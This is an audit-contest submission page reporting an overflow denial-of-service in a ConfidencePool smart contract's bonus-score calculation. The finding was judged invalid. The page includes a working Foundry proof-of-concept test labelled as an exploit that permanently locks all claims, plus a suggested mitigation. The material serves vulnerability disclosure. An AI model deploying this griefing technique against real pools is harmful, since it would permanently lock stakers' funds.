BattleChain Confidence Pools

Cyfrin

FoundrySolidityLayer 2

7.25 ETH

View all submissions

Previous Next

Submission Details

Impact: low

Likelihood: low

Invalid

Expanded k=2 score in `_bonusShare` overflows the frozen global snapshot, permanently locking every claim (checked-arithmetic DoS)

Author Revealed upon completion

Description

_bonusShare computes each staker's share of the bonus pool from a k=2 confidence score. The score is evaluated in an algebraically expanded moment form — T²·stake + Σamount·entry² − 2T·Σamount·entry — that is mathematically equal to the compact Σ amount·(T − entry)². The global score used as the shared denominator is snapshotted at flagOutcome and reused by every claimant.
Because the expanded intermediate T²·snapshotTotalStaked + snapshotSumStakeTimeSq is evaluated with Solidity 0.8 checked arithmetic, a single large-magnitude stake makes that term exceed 2²⁵⁶ and revert Panic(0x11), even though the equivalent compact score fits in uint256 with enormous headroom. The poisoned value lives in the frozen global snapshot, so every claimSurvived() / claimExpired() reverts permanently. Nothing caps aggregate stake magnitude at deposit time.

// src/ConfidencePool.sol:704-719

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];

uint256 userMinus = 2 * T * userSumStakeTime[u];

uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;

@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq; // overflows before mulDiv runs

uint256 minus = 2 * T * snapshotSumStakeTime;

uint256 globalScore = plus > minus ? plus - minus : 0;

if (globalScore == 0) {

if (snapshotTotalStaked == 0) return 0;

return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);

}

@> return Math.mulDiv(userScore, snapshotTotalBonus, globalScore); // mulDiv only guards the FINAL multiply

The raw moments are recorded at stake time with checked multiplication (src/ConfidencePool.sol:252-260); recording stays representable (A·S² fits for the witness, so the deposit is accepted), and the overflow surfaces only later, in the expanded claim-time score.

Risk

Likelihood:

When one pool accumulates an aggregate eligible stake of roughly 1.89e58 base units, so that T²·snapshotTotalStaked + snapshotSumStakeTimeSq = (A+V)·(2S² + 2S + 1) crosses 2²⁵⁶ − 1 at timestamp-scale entry times (S ≈ 1.75e9).
When the pool's token is allowlisted with high decimals — the factory gates only on a boolean allowlist and imposes no decimals ceiling (ConfidencePoolFactory.sol:77,155). Trust-model caveat: at 18 decimals this needs ~1.9e40 whole tokens (economically unreachable); it becomes reachable only when the trusted factory owner allowlists an exotic >~~54-decimal ERC20 (~~1.9e4 tokens at 54 decimals, ~0.019 token at 60), the same token-curation responsibility the allowlist already carries for fee-on-transfer / rebasing assets. This is why the finding is filed as Low rather than Medium.

Impact:

All honest principal + bonus in a SURVIVED or EXPIRED pool become permanently unclaimable: withdraw() is closed once outcome is set (ConfidencePool.sol:289), and sweepUnclaimedBonus reserves totalEligibleStake + (snapshotTotalBonus − claimedBonus) (483-487) → amount == 0 → NothingToSweep. The clone is non-upgradeable, so funds are permanently stuck.
Pure griefing / DoS, not extraction: the attacker locks its own outsized stake too, so the poisoned denominator reverts even honest stakers whose own score is tiny (the correct compact global score (A+V)·(T−S)² = A+V ≈ 1.89e58 fits trivially).

Proof of Concept

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {console2} from "forge-std/console2.sol";

import {stdError} from "forge-std/StdError.sol";

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {ConfidencePool} from "src/ConfidencePool.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {MockERC20} from "test/mocks/MockERC20.sol";

import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";

import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";

import {MockAgreement} from "test/mocks/MockAgreement.sol";

/// @notice M-01 validation: the k=2 bonus score is evaluated in an ALGEBRAICALLY EXPANDED form

/// (`T^2*stake + Σamount*entry^2 - 2T*Σamount*entry`) whose intermediate terms can overflow uint256

/// even though the mathematically-equivalent compact score `Σ amount*(T-entry)^2` fits easily.

/// Because Solidity 0.8 checked arithmetic reverts on overflow, a single large-magnitude stake

/// poisons the frozen global snapshot and makes EVERY `claimSurvived`/`claimExpired` revert — a

/// permanent, unrecoverable DoS on a non-upgradeable clone (withdrawals are already closed and the

/// sweep path reserves outstanding liabilities).

///

/// Reachability is purely about raw base-unit magnitude, not token count: the witness below is

/// ~1.89e58 base units. At 18 decimals that is an economically absurd ~1.9e40 tokens, but the

/// factory allowlist (`ConfidencePoolFactory.sol:77,155`) imposes NO decimals ceiling, so at ~54

/// decimals it is ~1.9e4 tokens and at ~60 decimals only ~0.019 token — i.e. reachable if a

/// high-decimal (still fee-free, non-rebasing) ERC20 is ever allowlisted. This test proves the

/// mechanism with raw base units; the decimals framing is the economic-reachability argument.

contract M01ScoreOverflowDoSTest is Test {

uint256 internal constant S = 1_750_000_000;

uint256 internal constant T = S + 1;

uint256 internal constant ONE = 1e18;

uint256 internal constant HONEST = 1e18; // V

// Witness from SECURITY-ISSUES.md (M-01): aggregate magnitude whose EXPANDED score overflows.

uint256 internal constant ATTACKER = 18_904_830_885_085_597_927_651_683_490_093_292_687_394_575_799_129_184_662_059; // A

uint256 internal constant BONUS = 1; // one base unit is enough to enter _bonusShare

address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);

address internal trustedSetup = makeAddr("trusted setup");

address internal registryOp = makeAddr("registry operator");

address internal outcomeModerator = makeAddr("outcome moderator");

address internal recovery = makeAddr("recovery");

address internal poolOwner = makeAddr("pool owner");

address internal honest = makeAddr("honest staker");

address internal attacker = makeAddr("attacker staker");

address internal contributor = makeAddr("bonus contributor");

address internal observer = makeAddr("permissionless observer");

MockERC20 internal token;

MockAttackRegistry internal registry;

MockSafeHarborRegistry internal safeHarborRegistry;

MockAgreement internal agreement;

ConfidencePool internal pool;

/// @dev EXPLOIT: a large-magnitude stake makes the frozen global score overflow, so the honest

/// staker can never claim — principal permanently locked.

function test_M01_ExpandedScoreOverflow_LocksAllClaims() external {

_deployAndFund(true);

// Resolve SURVIVED at T.

vm.warp(T);

_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);

vm.prank(outcomeModerator);

pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

assertEq(pool.outcomeFlaggedAt(), T, "T pinned to terminal endpoint");

assertEq(pool.snapshotTotalStaked(), ATTACKER + HONEST, "global snapshot carries the large magnitude");

// The mathematically-correct global score fits in uint256 with enormous headroom:

// Σ amount*(T-entry)^2 = (A+V)*(T-S)^2 = (A+V)*1 = A+V (~1.89e58 << 2^256)

uint256 compactGlobalScore = (ATTACKER + HONEST) * (T - S) * (T - S);

assertLt(compactGlobalScore, type(uint256).max, "compact score fits trivially");

console2.log("compact (correct) global score fits; value ~1.89e58:", compactGlobalScore);

// Yet the EXPANDED global score `T*T*snapshotTotalStaked + snapshotSumStakeTimeSq` overflows,

// so the honest staker's claim reverts with an arithmetic panic. Principal is locked.

vm.prank(honest);

vm.expectRevert(stdError.arithmeticError);

pool.claimSurvived();

// The attacker's own claim is poisoned too (griefing/DoS, not extraction — its stake is stuck).

vm.prank(attacker);

vm.expectRevert(stdError.arithmeticError);

pool.claimSurvived();

console2.log("EXPLOIT: every claimSurvived reverts (Panic 0x11); principal permanently locked");

}

/// @dev CONTROL: the identical pool WITHOUT the large-magnitude stake resolves and pays normally,

/// isolating the overflow to the expanded-representation of the outsized position.

function test_M01_Control_NormalMagnitude_ClaimsSucceed() external {

_deployAndFund(false);

vm.warp(T);

_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);

vm.prank(outcomeModerator);

pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

uint256 before = token.balanceOf(honest);

vm.prank(honest);

pool.claimSurvived();

uint256 payout = token.balanceOf(honest) - before;

assertEq(payout, HONEST + BONUS, "CONTROL: honest staker recovers principal + full bonus");

console2.log("CONTROL: honest claim succeeds, payout", payout);

}

/// @param withAttacker include the large-magnitude stake that triggers the overflow.

function _deployAndFund(bool withAttacker) internal {

vm.warp(S);

token = new MockERC20();

registry = new MockAttackRegistry();

safeHarborRegistry = new MockSafeHarborRegistry();

agreement = new MockAgreement(trustedSetup);

vm.startPrank(trustedSetup);

agreement.setContractInScope(SCOPE_ACCOUNT, true);

safeHarborRegistry.setAttackRegistry(address(registry));

safeHarborRegistry.setAgreementValid(address(agreement), true);

registry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);

vm.stopPrank();

pool = ConfidencePool(Clones.clone(address(new ConfidencePool())));

address[] memory scope = new address[](1);

scope[0] = SCOPE_ACCOUNT;

pool.initialize(

address(agreement),

address(token),

address(safeHarborRegistry),

outcomeModerator,

S + 31 days,

1, // minStake = 1 base unit

recovery,

poolOwner,

scope

);

_stake(honest, HONEST);

if (withAttacker) _stake(attacker, ATTACKER);

_contributeBonus(contributor, BONUS);

// Seal an active-risk window so bonus is actually owed (otherwise _bonusShare returns 0).

_setRegistryState(IAttackRegistry.ContractState.UNDER_ATTACK);

vm.prank(observer);

pool.pokeRiskWindow();

assertEq(pool.riskWindowStart(), S, "risk window opened at S");

}

function _stake(address user, uint256 amount) internal {

token.mint(user, amount);

vm.startPrank(user);

token.approve(address(pool), amount);

pool.stake(amount);

vm.stopPrank();

}

function _contributeBonus(address user, uint256 amount) internal {

token.mint(user, amount);

vm.startPrank(user);

token.approve(address(pool), amount);

pool.contributeBonus(amount);

vm.stopPrank();

}

function _setRegistryState(IAttackRegistry.ContractState state) internal {

vm.prank(registryOp);

registry.setAgreementState(state);

}

The control test test_M01_Control_NormalMagnitude_ClaimsSucceed runs the identical pool without the outsized stake and pays the honest staker V + bonus normally, isolating the overflow to the expanded representation of the large position.

Recommended Mitigation

Bound aggregate eligible stake at deposit time so the expanded terms cannot overflow for any T ≤ expiry (a cheap, conservative alternative to evaluating the score in exact 512-bit arithmetic or storing time moments relative to a bounded origin):

uint256 contribTime = received * newEntry;

uint256 contribTimeSq = received * newEntry * newEntry;

+ uint256 expiry_ = uint256(expiry);

+ uint256 maxTotalStake = type(uint256).max / (2 * expiry_ * expiry_);

+ if (totalEligibleStake > maxTotalStake || received > maxTotalStake - totalEligibleStake) {

+ revert StakeMagnitudeTooLarge();

+ }

eligibleStake[msg.sender] += received;

userSumStakeTime[msg.sender] += contribTime;

userSumStakeTimeSq[msg.sender] += contribTimeSq;

The factor of two bounds both positive terms and the doubled first-moment term for all T and entry times ≤ expiry; add boundary tests before adoption.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago

Submission Judgement Published

Invalidated

Reason: Non-acceptable severity

Assigned finding tags:

`_bonusShare` and `stake` mathematical overflow limits for extremely large token supplies

inallhonesty Lead Judge 2 days ago

Submission Judgement Published

Invalidated

Reason: Non-acceptable severity

Assigned finding tags:

`_bonusShare` and `stake` mathematical overflow limits for extremely large token supplies

Prize pool breakdown

Total prize

7.25 ETH

nSLOC

589

0 ETH / LOC

High Medium

Low

1.25

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

View preliminary results

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!